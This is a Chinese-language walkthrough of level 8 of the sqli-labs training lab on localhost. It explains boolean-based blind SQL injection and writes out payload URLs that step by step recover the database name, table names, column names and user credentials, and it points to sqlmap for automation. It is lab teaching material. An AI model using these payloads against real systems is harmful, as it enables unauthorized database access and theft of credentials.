目录
3、发现加上单引号并没有报错,只返回了错误页面,我们加上注释之后页面恢复正常
第八关
劝你本关内容只看去理解方法内容,不要去实操(纯属浪费时间),使用sqlmap工具去闯本关卡,简单便捷。
1、正常输入?id=1
2、加上单引号查看报错。
3、发现加上单引号并没有报错,只返回了错误页面,我们加上注释之后页面恢复正常
4、异常报错
由上可知我们利用单引号想它发报错然后显示我们想要的信息,但是它并不会显示报错的信息,只显示一个错误的页面。这时候我们尝试利用异常报错的方式来查看是否会显示我们想要的信息。
发现它异常报错不会抛出异常错误信息,利用单引号也无法让它显示报错信息,这时候我们就可以利用布尔盲注的方式进行猜解。
5、布尔盲注
布尔我们都知道不是1就是0,不是对就是错
盲:就是什么都没有,类似盲人。
布尔盲注:我们测试一个字符利用网址对或错的回显,来判断它的内容信息。
6、猜解当前数据库名称的长度
判断当前数据库名称的长度是否大于等于8
127.0.0.1:8080/sqli/Less-8/?id=1' and length(database()) >=8 --+
判断当前数据库名称的长度是否大于等于9
127.0.0.1:8080/sqli/Less-8/?id=1' and length(database()) >=9 --+
通过以上我们可知当前数据库名称的长度等于8
7、猜解当前数据库名称
因为有大写小写的情况,所以我们要转换成ascii码来进行比对。
后面的等于号我们可以换成小于或大于号来进行二分法快速判断。
127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1)) = 115 --+
以此类推比对各种ascii码,我们可知当前数据库的名称为security。
8、猜解当前数据库中所有表名称
判断当前数据库中第一个表名称的首位字母
后面的等于号我们可以换成小于或大于号来进行二分法快速判断。
http://127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+
判断当前数据库中第一个表名称的第二位字母
http://127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+
判断当前数据库中第二个表名称的首位字母
http://127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) = 114 --+
以此类推比对各种ascii码,我们可知当前数据库所有表的名称为emails,referers,uagents,users。
9、猜解users表中所有字段名称
http://127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),1,1)) = 105 --+
更改substr第二个参数的值来判断所有字段的名称(倒数第二个1)
以此类推得出所有字段名称为id,username,password
10、猜解users表里username字段中所有内容
http://127.0.0.1:8080/sqli/Less-8/?id=1' and ascii(substr((select group_concat(username) from users),1,1)) = 68 --+
更改substr第二个参数的值来判断所有内容的字母(倒数第二个1)
以此类推得出username字段中所有内容为Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
可以把代码中的username更换成password来猜解password中的内容。
因为盲注猜解效率低,所以我们选择去使用sqlmap工具来代替我们进行渗透。
到此闯关完成,闯关结束。